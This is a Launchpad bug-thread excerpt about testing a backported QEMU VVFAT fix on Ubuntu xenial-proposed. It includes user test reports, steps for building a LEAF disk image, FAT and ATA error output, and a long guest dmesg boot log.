https://launchpadlibrarian.net/316972847/qemu-system-x86_2.5+dfsg-5ubuntu10.13_amd64.deb +does work perfectly! + +Thanks Christian and don't hesitate to let me know once it gets accepted and included. I'll "apt-get update" my system and let you know the outcome. + +Again, thanks, +Rolando + +Subscribing Marc so he can easily track once this SRU passes. + +Hello Rolando, or anyone else affected, + +Accepted qemu into xenial-proposed. The package will build now and be available at https://launchpad.net/ubuntu/+source/qemu/1:2.5+dfsg-5ubuntu10.13 in a few hours, and then in the -proposed repository. + +Please help us by testing this new package. See https://wiki.ubuntu.com/Testing/EnableProposed for documentation on how to enable and use -proposed.Your feedback will aid us getting this update out to other Ubuntu users. + +If this package fixes the bug for you, please add a comment to this bug, mentioning the version of the package you tested, and change the tag from verification-needed to verification-done. If it does not fix the bug for you, please add a comment stating that, and change the tag to verification-failed. In either case, details of your testing will help us make a better decision. + +Further information regarding the verification process can be found at https://wiki.ubuntu.com/QATeam/PerformingSRUVerification . Thank you in advance! + +Hi Robie, + +I think something is wrong with the build you mention. + +Still can't install it by means of: +>>> apt-get -s install qemu-system-x86/xenial-proposed +>>> apt-get -s install qemu-system/xenial-proposed +or +>>> apt-get -s install qemu-kvm/xenial-proposed +but issuing a: +>>> wget https://launchpad.net/ubuntu/xenial/amd64/qemu-system-x86/1:2.5+dfsg-5ubuntu10.13 +gives me, after renaming it, this error: +>>> ./patched-qemu +>>> ./patched-qemu: line 1: syntax error near unexpected token `newline' +>>> ./patched-qemu: line 1: `<!DOCTYPE html>' +>>> +>>> ./patched-qemu --version +>>> ./patched-qemu: line 1: syntax error near unexpected token `newline' +>>> ./patched-qemu: line 1: `<!DOCTYPE html>' + +Please note that I download *just* the qemu-system-x86 binary and nothing else than that. + +HTH, +Rolando + +Hi guys, + +sorry, my bad! Downloaded the wrong file, the correct one is: +>>> http://launchpadlibrarian.net/318154621/qemu-system-x86_2.5+dfsg-5ubuntu10.13_amd64.deb + +So, I checked it and, yes, it works fine! + +I got this errors but I think they are correct as I'm just pointing to the new binary instead of re-installing all the files for the package: +>>> Failed to initialize module: /usr/lib/x86_64-linux-gnu/qemu/block-iscsi.so +>>> Note: only modules from the same build can be loaded. +>>> Failed to initialize module: /usr/lib/x86_64-linux-gnu/qemu/block-curl.so +>>> Note: only modules from the same build can be loaded. +>>> Failed to initialize module: /usr/lib/x86_64-linux-gnu/qemu/block-rbd.so +>>> Note: only modules from the same build can be loaded. +>>> Failed to initialize module: /usr/lib/x86_64-linux-gnu/qemu/block-dmg.so +>>> Note: only modules from the same build can be loaded. + +So, again, thank you guys very much! + +I might be opening a new bug to request the backport of the boot record code (I need to find out where it was though...) + +Thanks, +Rolando + + +Hi guys, + +unfortunatelly, I hit an issue with this patched version: there seems to be some issues, at least for LEAF (Linux Embedded Appliance Framework - https://sourceforge.net/projects/leaf). + +Previous steps to reproduce (LEAF image creation): + # This download is ~110M: + wget https://downloads.sourceforge.net/project/leaf/Bering-uClibc/6.0.3/Bering-uClibc_6.0.3_x86_64_syslinux_serial115200.tar.gz + qemu-img create -f qcow2 bering-own.qcow2 256M + modprobe nbd + qemu-nbd -c /dev/nbd0 bering-own.qcow2 + # Use fdisk to create a type c (FAT32 LBA) bootable partition like this: + # Device Boot Start End Sectors Size Id Type + # /dev/nbd0p1 * 2048 524287 522240 255M c W95 FAT32 (LBA) + fdisk /dev/nbd0 + mkfs.vfat -n BERING -F 32 /dev/nbd0p1 + syslinux -i /dev/nbd0p1 + dd conv=notrunc bs=440 count=1 if=/usr/lib/SYSLINUX/mbr.bin of=/dev/nbd0 + mount /dev/nbd0p1 /mnt/ + tar -C /mnt -zxvf ./Bering-uClibc_6.0.3_x86_64_syslinux_serial115200.tar.gz + +Not using the VVFAT it works OK: + ./patched-qemu-christian-OK/qemu-system-x86_64\ + -nodefaults -nographic -localtime -enable-kvm -smp 1 -m 512 -serial stdio\ + -drive if=ide,file=bering-own.qcow2\ + -kernel /mnt/syslinux/linux -initrd /mnt/initrd.lrp\ + -append 'rw root=/dev/ram0 console=ttyS0,115200n8 VERBOSE=1 PKGPATH=/dev/sda1:vfat LRP=root,license,local' + # Type all this to shutdown LEAF: + # root + [ENTER] + [ENTER] + q + poweroff + +However, when using the VVFAT emulation: + ./patched-qemu-christian-OK/qemu-system-x86_64\ + -nodefaults -nographic -localtime -enable-kvm -smp 1 -m 512 -serial stdio\ + -drive if=ide,file=fat:rw:/mnt\ + -kernel /mnt/syslinux/linux -initrd /mnt/initrd.lrp\ + -append 'rw root=/dev/ram0 console=ttyS0,115200n8 VERBOSE=1 PKGPATH=/dev/sda1:vfat LRP=root,license,local' +LEAF displays these errors: + LINUXRC: Mounted /dev/sda1 as vfat + LINUXRC: Installing - root: dev: /dev/sda1 mnt: /mnt1 t: vfat f: /mnt1/root.lrp /dev/sda1gunzip: invalid magic + (cpt!) license: dev: /dev/sda1 mnt: /mnt1 t: vfat f: /mnt1/license.lrp /dev/sda1gunzip: invalid magic + (cpt!) local: dev: /dev/sda1 mnt: /mnt1 t: vfat f: /mnt1/local.lrp /dev/sda1gunzip: unexpected end of file + (cpt!) configdb: dev: /dev/sda1 mnt: /mnt1 t: vfat f: /mnt1/configdb.lrp /dev/sda1gunzip: invalid magic + (cpt!) - Finished. + LINUXRC: Mounting squashfs with modules... + mount: mounting /dev/loop0 on /lib/modules/4.4.61-x86_64 failed: Invalid argument + LINUXRC: Squashfs mount failed! + LINUXRC: loading modules from /etc/modules + sed: /etc/modules: No such file or directory + +To somehow debug it, I added the VVFAT as a second IDE HDD while using the qcow disk image as the primary boot drive: + ./patched-qemu-christian-OK/qemu-system-x86_64\ + -nodefaults -nographic -localtime -enable-kvm -smp 1 -m 512 -serial stdio\ + -drive if=ide,file=bering-own.qcow2,index=0\ + -drive if=ide,file=fat:rw:/mnt\ + -kernel /mnt/syslinux/linux -initrd /mnt/initrd.lrp\ + -append 'rw root=/dev/ram0 console=ttyS0,115200n8 VERBOSE=1 PKGPATH=/dev/sda1:vfat LRP=root,license,local' + # => root + {ENTER] + [ENTER] + q +Then, get errors when mounting the VVFAT disk partition (but it gets mounted...) as well as when trying to display a sub-dir of it: + firewall# mount /dev/sdb1 /mnt/ + [ 29.728503] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 + [ 29.730150] ata1.01: BMDMA stat 0x4 + [ 29.730955] ata1.01: failed command: WRITE DMA + [ 29.731878] ata1.01: cmd ca/00:01:3f:00:00/00:00:00:00:00/f0 tag 0 dma 512 out + [ 29.731878] res 41/04:01:3f:00:00/00:00:00:00:00/f0 Emask 0x1 (device error) + [ 29.734848] ata1.01: status: { DRDY ERR } + [ 29.735653] ata1.01: error: { ABRT } + [ 29.748597] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 + [ 29.750128] ata1.01: BMDMA stat 0x4 + [ 29.751237] ata1.01: failed command: WRITE DMA + [ 29.752674] ata1.01: cmd ca/00:01:3f:00:00/00:00:00:00:00/f0 tag 0 dma 512 out + [ 29.752674] res 41/04:01:3f:00:00/00:00:00:00:00/f0 Emask 0x1 (device error) + [ 29.757221] ata1.01: status: { DRDY ERR } + [ 29.758383] ata1.01: error: { ABRT } + [ 29.770561] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 + [ 29.772068] ata1.01: BMDMA stat 0x4 + [ 29.772851] ata1.01: failed command: WRITE DMA + [ 29.773828] ata1.01: cmd ca/00:01:3f:00:00/00:00:00:00:00/f0 tag 0 dma 512 out + [ 29.773828] res 41/04:01:3f:00:00/00:00:00:00:00/f0 Emask 0x1 (device error) + [ 29.778542] ata1.01: status: { DRDY ERR } + [ 29.779828] ata1.01: error: { ABRT } + [ 29.793604] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 + [ 29.795799] ata1.01: BMDMA stat 0x4 + [ 29.796860] ata1.01: failed command: WRITE DMA + [ 29.798271] ata1.01: cmd ca/00:01:3f:00:00/00:00:00:00:00/f0 tag 0 dma 512 out + [ 29.798271] res 41/04:01:3f:00:00/00:00:00:00:00/f0 Emask 0x1 (device error) + [ 29.802941] ata1.01: status: { DRDY ERR } + [ 29.804105] ata1.01: error: { ABRT } + [ 29.817601] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 + [ 29.819547] ata1.01: BMDMA stat 0x4 + [ 29.820560] ata1.01: failed command: WRITE DMA + [ 29.821848] ata1.01: cmd ca/00:01:3f:00:00/00:00:00:00:00/f0 tag 0 dma 512 out + [ 29.821848] res 41/04:01:3f:00:00/00:00:00:00:00/f0 Emask 0x1 (device error) + [ 29.826243] ata1.01: status: { DRDY ERR } + [ 29.827424] ata1.01: error: { ABRT } + [ 29.840597] ata1.01: exception Emask 0x0 SAct 0x0 SErr 0x0 action 0x0 + [ 29.842000] ata1.01: BMDMA stat 0x4 + [ 29.843059] ata1.01: failed command: WRITE DMA + [ 29.844294] ata1.01: cmd ca/00:01:3f:00:00/00:00:00:00:00/f0 tag 0 dma 512 out + [ 29.844294] res 41/04:01:3f:00:00/00:00:00:00:00/f0 Emask 0x1 (device error) + [ 29.848549] ata1.01: status: { DRDY ERR } + [ 29.849667] ata1.01: error: { ABRT } + [ 29.852992] blk_update_request: I/O error, dev sdb, sector 63 + [ 29.854540] Buffer I/O error on dev sdb1, logical block 0, lost sync page write + firewall# + firewall# mount | grep sd + /dev/sdb1 on /mnt type vfat (rw,relatime,fmask=0022,dmask=0022,codepage=866,iocharset=cp1251,shortname=mixed,errors=remount-ro) + firewall# + firewall# ls -d /mnt/s* + /mnt/samba-swat.lrp /mnt/shorwall6-lite.lrp /mnt/ssh.lrp + /mnt/samba-util.lrp /mnt/shorwall6.lrp /mnt/sshblack.lrp + /mnt/samba.lrp /mnt/siproxd.lrp /mnt/sshd.lrp + /mnt/screen.lrp /mnt/smartctl.lrp /mnt/sshkey.lrp + /mnt/sensors.lrp /mnt/smartd.lrp /mnt/strongswan.lrp + /mnt/ser2net.lrp /mnt/snarf.lrp /mnt/stunnel.lrp + /mnt/serial.lrp /mnt/snmpmibs.lrp /mnt/syslinux + /mnt/sftp.lrp /mnt/snort.lrp /mnt/sysstat.lrp + /mnt/shorwall-lite.lrp /mnt/speedtch.lrp + /mnt/shorwall.lrp /mnt/squid.lrp + firewall# + firewall# ls -d /mnt/syslinux/s* + [ 33.622258] FAT-fs (sdb1): error, fat_get_cluster: invalid cluster chain (i_pos 0) + [ 33.625700] FAT-fs (sdb1): Filesystem has been set read-only + ls: /mnt/syslinux/s4?-??�?.d|�: Input/output error + [ 33.629724] FAT-fs (sdb1): error, fat_get_cluster: invalid cluster chain (i_pos 0) + ls: /mnt/syslinux/s�^�;??�.p� : Input/output error + /mnt/syslinux/s?<?????.??o + firewall# + +Please don't hesitate to ask me for further debugging, captures, logs or whatever. I'll be glad to have this solved. + +Thanks in advance, +Rolando + +I meant "I'll be glad to help to have this solved" :-) + +Just in case, this the output of a "dmesg" command: + +firewall# dmesg +[ 0.000000] Linux version 4.4.61-x86_64 (kapeka@stalker) (gcc version 5.3.0 (GCC) ) #1 SMP Thu Apr 13 19:03:07 CEST 2017 +[ 0.000000] Command line: rw root=/dev/ram0 console=ttyS0,115200n8 VERBOSE=1 PKGPATH=/dev/sda1:vfat LRP=root,license,local +[ 0.000000] KERNEL supported cpus: +[ 0.000000] Intel GenuineIntel +[ 0.000000] AMD AuthenticAMD +[ 0.000000] x86/fpu: Legacy x87 FPU detected. +[ 0.000000] x86/fpu: Using 'lazy' FPU context switches. +[ 0.000000] e820: BIOS-provided physical RAM map: +[ 0.000000] BIOS-e820: [mem 0x0000000000000000-0x000000000009fbff] usable +[ 0.000000] BIOS-e820: [mem 0x000000000009fc00-0x000000000009ffff] reserved +[ 0.000000] BIOS-e820: [mem 0x00000000000f0000-0x00000000000fffff] reserved +[ 0.000000] BIOS-e820: [mem 0x0000000000100000-0x000000001ffdffff] usable +[ 0.000000] BIOS-e820: [mem 0x000000001ffe0000-0x000000001fffffff] reserved +[ 0.000000] BIOS-e820: [mem 0x00000000feffc000-0x00000000feffffff] reserved +[ 0.000000] BIOS-e820: [mem 0x00000000fffc0000-0x00000000ffffffff] reserved +[ 0.000000] NX (Execute Disable) protection: active +[ 0.000000] SMBIOS 2.8 present. +[ 0.000000] DMI: QEMU Standard PC (i440FX + PIIX, 1996), BIOS Ubuntu-1.8.2-1ubuntu1 04/01/2014 +[ 0.000000] Hypervisor detected: KVM +[ 0.000000] e820: update [mem 0x00000000-0x00000fff] usable ==> reserved +[ 0.000000] e820: remove [mem 0x000a0000-0x000fffff] usable +[ 0.000000] e820: last_pfn = 0x1ffe0 max_arch_pfn = 0x400000000 +[ 0.000000] MTRR default type: write-back +[ 0.000000] MTRR fixed ranges enabled: +[ 0.000000] 00000-9FFFF write-back +[ 0.000000] A0000-BFFFF uncachable +[ 0.000000] C0000-FFFFF write-protect +[ 0.000000] MTRR variable ranges enabled: +[ 0.000000] 0 base 0080000000 mask FF80000000 uncachable +[ 0.000000] 1 disabled +[ 0.000000] 2 disabled +[ 0.000000] 3 disabled +[ 0.000000] 4 disabled +[ 0.000000] 5 disabled +[ 0.000000] 6 disabled +[ 0.000000] 7 disabled +[ 0.000000] x86/PAT: Configuration [0-7]: WB WC UC- UC WB WC UC- WT +[ 0.000000] found SMP MP-table at [mem 0x000f6640-0x000f664f] mapped at [ffff8800000f6640] +[ 0.000000] Scanning 1 areas for low memory corruption +[ 0.000000] Base memory trampoline at [ffff880000099000] 99000 size 24576 +[ 0.000000] BRK [0x01c89000, 0x01c89fff] PGTABLE +[ 0.000000] BRK [0x01c8a000, 0x01c8afff] PGTABLE +[ 0.000000] BRK [0x01c8b000, 0x01c8bfff] PGTABLE +[ 0.000000] BRK [0x01c8c000, 0x01c8cfff] PGTABLE +[ 0.000000] RAMDISK: [mem 0x1ff57000-0x1ffdffff] +[ 0.000000] ACPI: Early table checksum verification disabled +[ 0.000000] ACPI: RSDP 0x00000000000F6460 000014 (v00 BOCHS ) +[ 0.000000] ACPI: RSDT 0x000000001FFE16FA 000034 (v01 BOCHS BXPCRSDT 00000001 BXPC 00000001) +[ 0.000000] ACPI: FACP 0x000000001FFE0C14 000074 (v01 BOCHS BXPCFACP 00000001 BXPC 00000001) +[ 0.000000] ACPI: DSDT 0x000000001FFE0040 000BD4 (v01 BOCHS BXPCDSDT 00000001 BXPC 00000001) +[ 0.000000] ACPI: FACS 0x000000001FFE0000 000040 +[ 0.000000] ACPI: SSDT 0x000000001FFE0C88 0009C2 (v01 BOCHS BXPCSSDT 00000001 BXPC 00000001) +[ 0.000000] ACPI: APIC 0x000000001FFE164A 000078 (v01 BOCHS BXPCAPIC 00000001 BXPC 00000001) +[ 0.000000] ACPI: HPET 0x000000001FFE16C2 000038 (v01 BOCHS BXPCHPET 00000001 BXPC 00000001) +[ 0.000000] ACPI: Local APIC address 0xfee00000 +[ 0.000000] kvm-clock: Using msrs 4b564d01 and 4b564d00 +[ 0.000000] kvm-clock: cpu 0, msr 0:1ff56001, primary cpu clock +[ 0.000000] kvm-clock: using sched offset of 1738164004 cycles +[ 0.000000] clocksource: kvm-clock: mask: 0xffffffffffffffff max_cycles: 0x1cd42e4dffb, max_idle_ns: 881590591483 ns +[ 0.000000] Zone ranges: +[ 0.000000] DMA [mem 0x0000000000001000-0x0000000000ffffff] +[ 0.000000] DMA32 [mem 0x0000000001000000-0x000000001ffdffff] +[ 0.000000] Normal empty +[ 0.000000] Movable zone start for each node +[ 0.000000] Early memory node ranges +[ 0.000000] node 0: [mem 0x0000000000001000-0x000000000009efff] +[ 0.000000] node 0: [mem 0x0000000000100000-0x000000001ffdffff] +[ 0.000000] Initmem setup node 0 [mem 0x0000000000001000-0x000000001ffdffff] +[ 0.000000] On node 0 totalpages: 130942 +[ 0.000000] DMA zone: 64 pages used for memmap +[ 0.000000] DMA zone: 21 pages reserved +[ 0.000000] DMA zone: 3998 pages, LIFO batch:0 +[ 0.000000] DMA32 zone: 1984 pages used for memmap +[ 0.000000] DMA32 zone: 126944 pages, LIFO batch:31 +[ 0.000000] ACPI: PM-Timer IO Port: 0x608 +[ 0.000000] ACPI: Local APIC address 0xfee00000 +[ 0.000000] ACPI: LAPIC_NMI (acpi_id[0xff] dfl dfl lint[0x1]) +[ 0.000000] IOAPIC[0]: apic_id 0, version 17, address 0xfec00000, GSI 0-23 +[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 0 global_irq 2 dfl dfl) +[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 5 global_irq 5 high level) +[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 9 global_irq 9 high level) +[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 10 global_irq 10 high level) +[ 0.000000] ACPI: INT_SRC_OVR (bus 0 bus_irq 11 global_irq 11 high level) +[ 0.000000] ACPI: IRQ0 used by override. +[ 0.000000] ACPI: IRQ5 used by override. +[ 0.000000] ACPI: IRQ9 used by override. +[ 0.000000] ACPI: IRQ10 used by override. +[ 0.000000] ACPI: IRQ11 used by override. +[ 0.000000] Using ACPI (MADT) for SMP configuration information +[ 0.000000] ACPI: HPET id: 0x8086a201 base: 0xfed00000 +[ 0.000000] smpboot: Allowing 1 CPUs, 0 hotplug CPUs +[ 0.000000] e820: [mem 0x20000000-0xfeffbfff] available for PCI devices +[ 0.000000] Booting paravirtualized kernel on KVM +[ 0.000000] clocksource: refined-jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1910969940391419 ns +[ 0.000000] setup_percpu: NR_CPUS:8 nr_cpumask_bits:8 nr_cpu_ids:1 nr_node_ids:1 +[ 0.000000] PERCPU: Embedded 33 pages/cpu @ffff88001fc00000 s94232 r8192 d32744 u2097152 +[ 0.000000] pcpu-alloc: s94232 r8192 d32744 u2097152 alloc=1*2097152 +[ 0.000000] pcpu-alloc: [0] 0 +[ 0.000000] KVM setup async PF for cpu 0 +[ 0.000000] kvm-stealtime: cpu 0, msr 1fc0d700 +[ 0.000000] Built 1 zonelists in Zone order, mobility grouping on. Total pages: 128873 +[ 0.000000] Kernel command line: rw root=/dev/ram0 console=ttyS0,115200n8 VERBOSE=1 PKGPATH=/dev/sda1:vfat LRP=root,license,local +[ 0.000000] PID hash table entries: 2048 (order: 2, 16384 bytes) +[ 0.000000] Dentry cache hash table entries: 65536 (order: 7, 524288 bytes) +[ 0.000000] Inode-cache hash table entries: 32768 (order: 6, 262144 bytes) +[ 0.000000] Memory: 501128K/523768K available (5882K kernel code, 793K rwdata, 2136K rodata, 1296K init, 472K bss, 22640K reserved, 0K cma-reserved) +[ 0.000000] SLUB: HWalign=64, Order=0-3, MinObjects=0, CPUs=1, Nodes=1 +[ 0.000000] Hierarchical RCU implementation. +[ 0.000000] Build-time adjustment of leaf fanout to 64. +[ 0.000000] RCU restricting CPUs from NR_CPUS=8 to nr_cpu_ids=1. +[ 0.000000] RCU: Adjusting geometry for rcu_fanout_leaf=64, nr_cpu_ids=1 +[ 0.000000] kmemleak: Kernel memory leak detector disabled +[ 0.000000] NR_IRQS:4352 nr_irqs:256 16 +[ 0.000000] Console: colour *CGA 80x25 +[ 0.000000] console [ttyS0] enabled +[ 0.000000] clocksource: hpet: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 19112604467 ns +[ 0.000000] hpet clockevent registered +[ 0.000000] tsc: Detected 2495.336 MHz processor +[ 0.141367] Calibrating delay loop (skipped) preset value.. 4990.67 BogoMIPS (lpj=2495336) +[ 0.143480] pid_max: default: 32768 minimum: 301 +[ 0.144654] ACPI: Core revision 20150930 +[ 0.147009] ACPI: 2 ACPI AML tables successfully acquired and loaded +[ 0.148686] Mount-cache hash table entries: 1024 (order: 1, 8192 bytes) +[ 0.150390] Mountpoint-cache hash table entries: 1024 (order: 1, 8192 bytes) +[ 0.152365] mce: CPU supports 10 MCE banks +[ 0.153443] Last level iTLB entries: 4KB 0, 2MB 0, 4MB 0 +[ 0.154711] Last level dTLB entries: 4KB 0, 2MB 0, 4MB 0, 1GB 0 +[ 0.169508] Freeing SMP alternatives memory: 24K (ffffffff81c0c000 - ffffffff81c12000) +[ 0.179824] ftrace: allocating 23405 entries in 92 pages +[ 0.220907] ..TIMER: vector=0x30 apic1=0 pin1=2 apic2=-1 pin2=-1 +[ 0.324183] smpboot: CPU0: AMD QEMU Virtual CPU version 2.5+ (family: 0x6, model: 0x6, stepping: 0x3) +[ 0.326426] Performance Events: AMD PMU driver. +[ 0.327521] ... version: 0 +[ 0.328385] ... bit width: 48 +[ 0.329333] ... generic registers: 4 +[ 0.330274] ... value mask: 0000ffffffffffff +[ 0.331467] ... max period: 00007fffffffffff +[ 0.332669] ... fixed-purpose events: 0 +[ 0.333608] ... event mask: 000000000000000f +[ 0.335019] Huh? What family is it: 0x6?! +[ 0.335899] MCE: In-kernel MCE decoding enabled. +[ 0.336933] x86: Booted up 1 node, 1 CPUs +[ 0.337849] smpboot: Total of 1 processors activated (4990.67 BogoMIPS) +[ 0.340028] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 1911260446275000 ns +[ 0.341990] futex hash table entries: 256 (order: 2, 16384 bytes) +[ 0.343764] NET: Registered protocol family 16 +[ 0.344942] cpuidle: using governor ladder +[ 0.345930] cpuidle: using governor menu +[ 0.346934] ACPI: bus type PCI registered +[ 0.347754] acpiphp: ACPI Hot Plug PCI Controller Driver version: 0.5 +[ 0.349264] PCI: Using configuration type 1 for base access +[ 0.357481] ACPI: Added _OSI(Module Device) +[ 0.358559] ACPI: Added _OSI(Processor Device) +[ 0.359615] ACPI: Added _OSI(3.0 _SCP Extensions) +[ 0.360729] ACPI: Added _OSI(Processor Aggregator Device) +[ 0.363889] ACPI: Interpreter enabled +[ 0.364757] ACPI: (supports S0 S5) +[ 0.365560] ACPI: Using IOAPIC for interrupt routing +[ 0.366603] PCI: Using host bridge windows from ACPI; if necessary, use "pci=nocrs" and report a bug +[ 0.372906] ACPI: PCI Root Bridge [PCI0] (domain 0000 [bus 00-ff]) +[ 0.374375] acpi PNP0A03:00: _OSC: OS supports [ASPM ClockPM Segments MSI] +[ 0.375982] acpi PNP0A03:00: _OSC failed (AE_NOT_FOUND); disabling ASPM +[ 0.377539] acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended PCI configuration space under this bridge. +[ 0.380133] acpiphp: Slot [2] registered +[ 0.381015] acpiphp: Slot [3] registered +[ 0.381881] acpiphp: Slot [4] registered +[ 0.382745] acpiphp: Slot [5] registered +[ 0.383580] acpiphp: Slot [6] registered +[ 0.384457] acpiphp: Slot [7] registered +[ 0.385305] acpiphp: Slot [8] registered +[ 0.386114] acpiphp: Slot [9] registered +[ 0.386968] acpiphp: Slot [10] registered +[ 0.387886] acpiphp: Slot [11] registered +[ 0.388657] acpiphp: Slot [12] registered +[ 0.389358] acpiphp: Slot [13] registered +[ 0.390047] acpiphp: Slot [14] registered +[ 0.390829] acpiphp: Slot [15] registered +[ 0.391627] acpiphp: Slot [16] registered +[ 0.392587] acpiphp: Slot [17] registered +[ 0.393401] acpiphp: Slot [18] registered +[ 0.394264] acpiphp: Slot [19] registered +[ 0.395236] acpiphp: Slot [20] registered +[ 0.396224] acpiphp: Slot [21] registered +[ 0.397211] acpiphp: Slot [22] registered +[ 0.398192] acpiphp: Slot [23] registered +[ 0.399137] acpiphp: Slot [24] registered +[ 0.400050] acpiphp: Slot [25] registered +[ 0.400970] acpiphp: Slot [26] registered +[ 0.401881] acpiphp: Slot [27] registered +[ 0.402768] acpiphp: Slot [28] registered +[ 0.403681] acpiphp: Slot [29] registered +[ 0.404580] acpiphp: Slot [30] registered +[ 0.405473] acpiphp: Slot [31] registered +[ 0.406337] PCI host bridge to bus 0000:00 +[ 0.407192] pci_bus 0000:00: root bus resource [io 0x0000-0x0cf7 window] +[ 0.408618] pci_bus 0000:00: root bus resource [io 0x0d00-0xffff window] +[ 0.410013] pci_bus 0000:00: root bus resource [mem 0x000a0000-0x000bffff window] +[ 0.411592] pci_bus 0000:00: root bus resource [mem 0x20000000-0xfebfffff window] +[ 0.413192] pci_bus 0000:00: root bus resource [bus 00-ff] +[ 0.414407] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000 +[ 0.414995] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100 +[ 0.415776] pci 0000:00:01.1: [8086:7010] type 00 class 0x010180 +[ 0.419084] pci 0000:00:01.1: reg 0x20: [io 0xc000-0xc00f] +[ 0.420701] pci 0000:00:01.1: legacy IDE quirk: reg 0x10: [io 0x01f0-0x01f7] +[ 0.422231] pci 0000:00:01.1: legacy IDE quirk: reg 0x14: [io 0x03f6] +[ 0.423551] pci 0000:00:01.1: legacy IDE quirk: reg 0x18: [io 0x0170-0x0177] +[ 0.425014] pci 0000:00:01.1: legacy IDE quirk: reg 0x1c: [io 0x0376] +[ 0.426904] pci 0000:00:01.3: [8086:7113] type 00 class 0x068000 +[ 0.427506] pci 0000:00:01.3: quirk: [io 0x0600-0x063f] claimed by PIIX4 ACPI +[ 0.429205] pci 0000:00:01.3: quirk: [io 0x0700-0x070f] claimed by PIIX4 SMB +[ 0.431383] pci_bus 0000:00: on NUMA node 0 +[ 0.431998] ACPI: PCI Interrupt Link [LNKA] (IRQs 5 *10 11) +[ 0.433451] ACPI: PCI Interrupt Link [LNKB] (IRQs 5 *10 11) +[ 0.434961] ACPI: PCI Interrupt Link [LNKC] (IRQs 5 10 *11) +[ 0.436408] ACPI: PCI Interrupt Link [LNKD] (IRQs 5 10 *11) +[ 0.437849] ACPI: PCI Interrupt Link [LNKS] (IRQs *9) +[ 0.439391] ACPI: Enabled 16 GPEs in block 00 to 0F +[ 0.441194] vgaarb: loaded +[ 0.441929] SCSI subsystem initialized +[ 0.444424] libata version 3.00 loaded. +[ 0.444434] ACPI: bus type USB registered +[ 0.445371] usbcore: registered new interface driver usbfs +[ 0.446559] usbcore: registered new interface driver hub +[ 0.447869] usbcore: registered new device driver usb +[ 0.449519] PCI: Using ACPI for IRQ routing +[ 0.450515] PCI: pci_cache_line_size set to 64 bytes +[ 0.450620] e820: reserve RAM buffer [mem 0x0009fc00-0x0009ffff] +[ 0.450623] e820: reserve RAM buffer [mem 0x1ffe0000-0x1fffffff] +[ 0.450886] HPET: 3 timers in total, 0 timers will be used for per-cpu timer +[ 0.452438] hpet0: at MMIO 0xfed00000, IRQs 2, 8, 0 +[ 0.453672] hpet0: 3 comparators, 64-bit 100.000000 MHz counter +[ 0.458315] amd_nb: Cannot enumerate AMD northbridges +[ 0.459384] clocksource: Switched to clocksource kvm-clock +[ 0.469963] pnp: PnP ACPI init +[ 0.470948] pnp 00:00: Plug and Play ACPI device, IDs PNP0b00 (active) +[ 0.471011] pnp 00:01: Plug and Play ACPI device, IDs PNP0303 (active) +[ 0.471057] pnp 00:02: Plug and Play ACPI device, IDs PNP0f13 (active) +[ 0.471104] pnp 00:03: [dma 2] +[ 0.471127] pnp 00:03: Plug and Play ACPI device, IDs PNP0700 (active) +[ 0.471247] pnp 00:04: Plug and Play ACPI device, IDs PNP0501 (active) +[ 0.471623] pnp: PnP ACPI: found 5 devices +[ 0.478666] clocksource: acpi_pm: mask: 0xffffff max_cycles: 0xffffff, max_idle_ns: 2085701024 ns +[ 0.480456] pci_bus 0000:00: resource 4 [io 0x0000-0x0cf7 window] +[ 0.480459] pci_bus 0000:00: resource 5 [io 0x0d00-0xffff window] +[ 0.480462] pci_bus 0000:00: resource 6 [mem 0x000a0000-0x000bffff window] +[ 0.480465] pci_bus 0000:00: resource 7 [mem 0x20000000-0xfebfffff window] +[ 0.480504] NET: Registered protocol family 2 +[ 0.481558] TCP established hash table entries: 4096 (order: 3, 32768 bytes) +[ 0.482995] TCP bind hash table entries: 4096 (order: 4, 65536 bytes) +[ 0.484320] TCP: Hash tables configured (established 4096 bind 4096) +[ 0.485643] UDP hash table entries: 256 (order: 1, 8192 bytes) +[ 0.486837] UDP-Lite hash table entries: 256 (order: 1, 8192 bytes) +[ 0.488150] NET: Registered protocol family 1 +[ 0.489056] pci 0000:00:00.0: Limiting direct PCI/PCI transfers +[ 0.490267] pci 0000:00:01.0: PIIX3: Enabling Passive Release +[ 0.491415] pci 0000:00:01.0: Activating ISA DMA hang workarounds +[ 0.492618] PCI: CLS 0 bytes, default 64 +[ 0.493984] Trying to unpack rootfs image as initramfs... +[ 0.505786] Freeing initrd memory: 548K (ffff88001ff57000 - ffff88001ffe0000) +[ 0.507764] Scanning for low memory corruption every 60 seconds +[ 0.509846] HugeTLB registered 2 MB page size, pre-allocated 0 pages +[ 0.515088] squashfs: version 4.0 (2009/01/31) Phillip Lougher +[ 0.517323] Block layer SCSI generic (bsg) driver version 0.4 loaded (major 252) +[ 0.518948] io scheduler noop registered +[ 0.519857] io scheduler cfq registered (default) +[ 0.521025] pci_hotplug: PCI Hot Plug PCI Core version: 0.5 +[ 0.522267] pciehp: PCI Express Hot Plug Controller Driver version: 0.4 +[ 0.523824] input: Power Button as /devices/LNXSYSTM:00/LNXPWRBN:00/input/input0 +[ 0.525460] ACPI: Power Button [PWRF] +[ 0.526373] GHES: HEST is not enabled! +[ 0.527179] xenfs: not registering filesystem on non-xen platform +[ 0.528525] Serial: 8250/16550 driver, 4 ports, IRQ sharing disabled +[ 0.556061] 00:04: ttyS0 at I/O 0x3f8 (irq = 4, base_baud = 115200) is a 16550A +[ 0.561195] brd: module loaded +[ 0.564596] loop: module loaded +[ 0.565283] skd: v2.2.1-b0260 loaded +[ 0.566074] mtip32xx Version 1.3.1 +[ 0.567154] zram: Added device: zram0 +[ 0.568295] ata_piix 0000:00:01.1: version 2.13 +[ 0.570121] FDC 0 is a S82078B 